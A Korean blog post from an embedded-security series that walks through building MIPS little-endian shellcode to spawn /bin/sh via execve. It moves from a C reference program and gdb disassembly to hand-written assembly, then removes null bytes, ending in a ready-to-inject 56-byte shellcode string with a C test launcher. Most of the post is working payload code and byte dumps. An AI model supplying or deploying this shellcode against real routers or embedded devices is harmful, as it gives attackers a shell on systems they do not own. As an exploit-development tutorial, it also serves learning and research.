본문 바로가기

List/Embedded

[mipsel] shellcode 제작 - execve("/bin/sh", [/bin/sh, 0], 0) , 56byte

#include <stdio.h>


int main ()

{

        char *name[2];

        name[0]="/bin/sh";

        name[1]=0;

        execve(name[0], name, NULL);

}



먼저, 위와 같이 소스를 짜서 내부적으로 어떻게 돌아가는지 확인한다.


gdb로 main 함수를 디스어셈블 해서 쉘코드 제작에 필요한 부분은 진한 굵기로 된 부분이다. 


(gdb) disas main

Dump of assembler code for function main:

   0x00400640 <+0>: addiu sp,sp,-40

   0x00400644 <+4>: sw ra,36(sp)

   0x00400648 <+8>: sw s8,32(sp)

   0x0040064c <+12>: move s8,sp

   0x00400650 <+16>: lui v0,0x40

   0x00400654 <+20>: addiu v0,v0,2096

   0x00400658 <+24>: sw v0,24(s8)

   0x0040065c <+28>: sw zero,28(s8)

   0x00400660 <+32>: lw v0,24(s8)

   0x00400664 <+36>: move a0,v0

   0x00400668 <+40>: addiu v0,s8,24

   0x0040066c <+44>: move a1,v0

   0x00400670 <+48>: move a2,zero

   0x00400674 <+52>: jal 0x400500 <execve@plt>

   0x00400678 <+56>: move at,at

   0x0040067c <+60>: move sp,s8

   0x00400680 <+64>: lw ra,36(sp)

   0x00400684 <+68>: lw s8,32(sp)

   0x00400688 <+72>: addiu sp,sp,40

   0x0040068c <+76>: jr ra

   0x00400690 <+80>: move at,at

End of assembler dump.

(gdb)



   0x00400650 <+16>: lui v0,0x40

   0x00400654 <+20>: addiu v0,v0,2096


lui v0, 0x40은 v0 = 0x40 <<16 으로 해석되고, addiu v0,v0,2096(10진수)은 v0 = v0+0x830(16진수로변경) 으로 해석된다.


두 명령을 합쳐보면 v0레지스터에는 0x00400830이 들어간다.


해당 주소의 내용을 확인해보면 


(gdb) x/s 0x00400830

0x400830: "/bin/sh"


"/bin/sh"가 들어있다. 


  0x00400658 <+24>: sw v0,24(s8)

   0x0040065c <+28>: sw zero,28(s8)


sw v0,24(s8) 은 x86명령어의 push와 비슷한 명령으로 레지스터 v0의 내용을 s8(frame pointer)+28의 주소에 저장한다.

마찬가지로 sw zero, 28(s8)은 s8+28의 주소에 0을 넣는다.


 0x00400660 <+32>: lw v0,24(s8)

   0x00400664 <+36>: move a0,v0


lw v0, 24(s8) 명령은 x86명령어의 pop과 비슷한 명령으로 스택 s8+24주소에 있는 값을 v0레지스터에 가져온다.

move a0,v0 명령은 a0=v0 으로 해석되어 a0레지스터에 v0레지스터의 값을 옮긴다.



0x00400668 <+40>: addiu v0,s8,24

   0x0040066c <+44>: move a1,v0

   0x00400670 <+48>: move a2,zero


addiu v0,s8,24 명령은 v0 = s8+24 으로 s8의 주소에 +24한 값을 v0 레지스터에 넣는다.

move a1, v0

move a2, zero 이 두 명령은 해당 값들을 각각 a1, a2 레지스터에 넣는다.



   0x00400674 <+52>: jal 0x400500 <execve@plt>


마지막으로 execve@plt를 호출한다.





위 내용으로 알수있는 것은 execve(name[0], name, NULL); 를 실행하기 위해 a0에 첫번째 인자, a1에 두번째 인자, a2에 세번째 인자를 넣고 마지막에 함수를 호출한다는 걸 알 수 있다. 


그렇다면, x86에서의 쉘코드 만들기와 비슷하게 각 레지스터에 적절한 매개변수를 넣어주고 execve 시스템콜을 하면 될 것 같다.



addiu sp,sp,-32


lui v0, 28265

addiu  v0, $2, 25135

sw v0,16(s8)         # "/bin" 을 push


lui v1, 104

addiu  v1, v1, 29487

sw v1,20(s8)         # "/sh\0"을 push


addiu v0,s8,16

sw v0,24(s8)         # &/bin/sh 를 push

move a0, v0             # a0레지스터에 "/bin/sh"를 넣음


sw zero,28(s8)       # 0 을 push


       # 여기까지 스택 상태는 오른쪽 모양이다. ==>  low...|  /bin  |  /sh\0  |  &/bin/sh  |  zero  | FP | RET | ... high

addiu v0,s8,24 # v0레지스터에 [/bin/sh, 0] 을 넣음

move a1, v0       # a1레지스터에 [/bin/sh, 0] 을 넣음

move a2, zero     # a2 레지스터에 0을 넣음


li v0,4011             # v0레지스터에 execve 시스템콜번호 4011을 넣음

syscall                       



이렇게 구성을 하고 바로 하면 될 줄 알았는데, mips는 레지스터마다 번호가 있어서 레지스터와 zero 값을 변수 번호로 변경해줘야 한다고 한다.

(참고: http://logos.cs.uic.edu/366/notes/mips%20quick%20tutorial.htm#RegisterDescription )



위 url 을 참고하여 레지스터를 그에 맞는 번호로 변경하면 다음과 같다.


.globl main


main:

        addiu $29,$29,-32

        lui     $2, 28265

        addiu   $2, $2, 25135

        lui     $3, 104

        addiu   $3, $3, 29487

        sw      $2,16($29)

        sw      $3,20($29)

        addiu   $2,$29,16

        sw      $2,24($29)

        move    $4,$2

        sw      $0,28($29)

        addiu   $2,$29,24

        move    $5,$2

        move    $6,$0

        li      $2,4011

        syscall



위 .asm 파일을 컴파일하고 실행하면 다행히도..... 쉘이 떨어진다.



gdb로 64바이트의 기계어를 얻을 수 있다.


#include <stdio.h>


char shellcode[] ="\x20\xff\xbd\x27\x69\x6e\x02\x3c\x2f\x62\x42\x24\x68\x00\x03\x3c\x2f\x73\x63\x24\x10\x00\xa2\xaf\x14\x00\xa3\xaf\x10\x00\xa2\x27\x18\x00\xa2\xaf\x21\x20\x40\x00\x1c\x00\xa0\xaf\x18\x00\xa2\x27\x21\x28\x40\x00\x21\x30\x00\x00\xab\x0f\x02\x24\x0c\x00\x00\x00";



int main(int argc, char *argv[])

{

        void (*p)(void);

        p = shellcode;

        printf("shellcode size %d\n", sizeof(shellcode));

        p();


        return 0;

}




그런데 아직은 쉘코드의 길이도 길고 \x00바이트가 많이 포함되어 있어서 개선할 점이 아주아주 많이 보인다 ㅠㅠ








위 쉘코드는 펄스크립트로 \x00이 들어가지 않기 때문에 실용 가능성은 제로이다. 


따라서 \x00을 없애기 위해 다음과 같이 쉘코드를 변경하여 64byte의 쉘코드를 얻었다.




mipsel 쉘코드에서 \x00 제거하기


1. -24(s8) 식으로 음수로 변수에 접근할 것이므로 스택 공간할당을 뺀다.


2. /sh\0부분은 비트연산을 해야될듯...


3. sw는 모두 음수연산으로~~


4. move는 li를 써야될듯...



변경 전

\x20\xff\xbd\x27            addiu $29,$29,-32

\x69\x6e\x02\x3c            lui $2, 28265

\x2f\x62\x42\x24            addiu $2, $2, 25135


\x68\x00\x03\x3c <=        lui $3, 104                  ->  비트연산을 해야될듯?

\x2f\x73\x63\x24            addiu $3, $3, 29487


\x10\x00\xa2\xaf <=        sw      $2,16($29)   -> -값넣으면 해결됨

\x14\x00\xa3\xaf <=        sw      $3,20($29)   -> -값넣으면 해결됨

\x10\x00\xa2\x27 <=        addiu   $2,$29,16   -> -값넣으면 해결됨

\x18\x00\xa2\xaf <=        sw      $2,24($29)   -> -값넣으면 해결됨

\x21\x20\x40\x00 <=        move    $4,$2         -> li를 써야될듯?

\x1c\x00\xa0\xaf <=        sw      0,28($29)       -> -값넣으면 해결됨

\x18\x00\xa2\x27 <=        addiu   $2,$29,24   -> -값넣으면 해결됨

\x21\x28\x40\x00 <=        move    $5,$2            -> li를 써야될듯?

\x21\x30\x00\x00 <=        move    $6,zero  -> sp - xx의 값(0)을 $6에 넣도록 변경

\xab\x0f\x02\x24             li      $2,4011

\x0c\x00\x00\x00            syscall




변경 후


                                  |     /bin     |   //sh        |     0   |   &/bin/sh  |   0    | fp |

                                  20             16              12        8             4         0   

.globl main


main:

lui $2, 28265

addiu $2, $2, 25135

sw $2,-20($29)


lui $3, 26739

addiu $3, $3, 12079

        sw      $3,-16($29)


li $16, 26739

li $24, 26739

sub $6,$16,$24

sw $6,-12($29)

sw $6,-4($29)

        addiu   $4,$29,-20

        sw      $4,-8($29)


        addiu   $5,$29,-8


        li      $2,4011

        syscall


변경 전의 어셈 코딩에서 addiu $29,$29,-32 부분은 뺄셈으로 \x00대신 \xff가 들어가는것을 보고 스택에 접근할 때를 모두 음수 계산으로 변경했고, zero를 만들기 위해 sub를 사용했다.


그래서 다음의 쉘코드를 얻었다. (64바이트)


0x4005c0 <main>: 0x69 0x6e 0x02 0x3c

(gdb) 

0x4005c4 <main+4>: 0x2f 0x62 0x42 0x24

(gdb) 

0x4005c8 <main+8>: 0xec 0xff 0xa2 0xaf

(gdb) 

0x4005cc <main+12>: 0x73 0x68 0x03 0x3c

(gdb) 

0x4005d0 <main+16>: 0x2f 0x2f 0x63 0x24

(gdb) 

0x4005d4 <main+20>: 0xf0 0xff 0xa3 0xaf

(gdb) 

0x4005d8 <main+24>: 0x73 0x68 0x10 0x24

(gdb) 

0x4005dc <main+28>: 0x73 0x68 0x18 0x24

(gdb) 

0x4005e0 <main+32>: 0x22 0x30 0x18 0x02

(gdb) 

0x4005e4 <main+36>: 0xf4 0xff 0xa6 0xaf

(gdb) 

0x4005e8 <main+40>: 0xfc 0xff 0xa6 0xaf

(gdb) 

0x4005ec <main+44>: 0xec 0xff 0xa4 0x27

(gdb) 

0x4005f0 <main+48>: 0xf8 0xff 0xa4 0xaf

(gdb) 

0x4005f4 <main+52>: 0xf8 0xff 0xa5 0x27

(gdb) 

0x4005f8 <main+56>: 0xab 0x0f 0x02 0x24

(gdb) 

0x4005fc <main+60>: 0x0c 0x00 0x00 0x00










위 쉘 코드는 64바이트인데 어셈코딩 중간에 zero를 만들기 위해 뺄셈하는 부분을 좀 더 간단하게 하는 방법이 생각나서 56 바이트로 줄였다.


.globl main


main:

lui $2, 28265

addiu $2, $2, 25135

sw $2,-20($29)


lui $3, 26739

addiu $3, $3, 12079

        sw      $3,-16($29)



sw $0,-12($29)

sw $0,-4($29)

addiu $6,$29,-4


        addiu   $4,$29,-20

        sw      $4,-8($29)


        addiu   $5,$29,-8


        li      $2,4011

        syscall



다음은 쉘코드이다. 


0x4005c0 <main>: 0x69 0x6e 0x02 0x3c

(gdb) 

0x4005c4 <main+4>: 0x2f 0x62 0x42 0x24

(gdb) 

0x4005c8 <main+8>: 0xec 0xff 0xa2 0xaf

(gdb) 

0x4005cc <main+12>: 0x73 0x68 0x03 0x3c

(gdb) 

0x4005d0 <main+16>: 0x2f 0x2f 0x63 0x24

(gdb) 

0x4005d4 <main+20>: 0xf0 0xff 0xa3 0xaf

(gdb) 

0x4005d8 <main+24>: 0xf4 0xff 0xa0 0xaf

(gdb) 

0x4005dc <main+28>: 0xfc 0xff 0xa0 0xaf

(gdb) 

0x4005e0 <main+32>: 0xfc 0xff 0xa6 0x27

(gdb) 

0x4005e4 <main+36>: 0xec 0xff 0xa4 0x27

(gdb) 

0x4005e8 <main+40>: 0xf8 0xff 0xa4 0xaf

(gdb) 

0x4005ec <main+44>: 0xf8 0xff 0xa5 0x27

(gdb) 

0x4005f0 <main+48>: 0xab 0x0f 0x02 0x24

(gdb) 

0x4005f4 <main+52>: 0x0c 0x00 0x00 0x00



shellcode = ("\x69\x6e\x02\x3c"

"\x2f\x62\x42\x24"

"\xec\xff\xa2\xaf"

"\x73\x68\x03\x3c"

"\x2f\x2f\x63\x24"

"\xf0\xff\xa3\xaf"

"\xf4\xff\xa0\xaf"

"\xfc\xff\xa0\xaf"

"\xfc\xff\xa6\x27"

"\xec\xff\xa4\x27"

"\xf8\xff\xa4\xaf"

"\xf8\xff\xa5\x27"

"\xab\x0f\x02\x24"

"\x0c\x01\x01\x01")


\x69\x6e\x02\x3c\x2f\x62\x42\x24\xec\xff\xa2\xaf\x73\x68\x03\x3c\x2f\x2f\x63\x24\xf0\xff\xa3\xaf\xf4\xff\xa0\xaf\xfc\xff\xa0\xaf\xfc\xff\xa6\x27\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01




참고

http://logos.cs.uic.edu/366/notes/mips%20quick%20tutorial.htm#RegisterDescription

https://wiki.kldp.org/KoreanDoc/html/Alpha_assembly-KLDP/node7.html

http://shell-storm.org/shellcode/

http://orang.tistory.com/entry/%EC%9E%84%EB%B2%A0%EB%94%94%EB%93%9C-MIPS-Shellcode-%EC%9E%91%EC%84%B1



'List > Embedded' 카테고리의 다른 글

firmware-mod-kit(fmk) 설치  (2) 2015.01.23
[mipsel] 기본 bof 취약점 공격  (0) 2015.01.11
[mipsel] add(a, b) 분석  (0) 2014.12.26
[mipsel] execve 분석  (0) 2014.12.26
[mipsel] printf("Helloworld") 분석  (0) 2014.12.26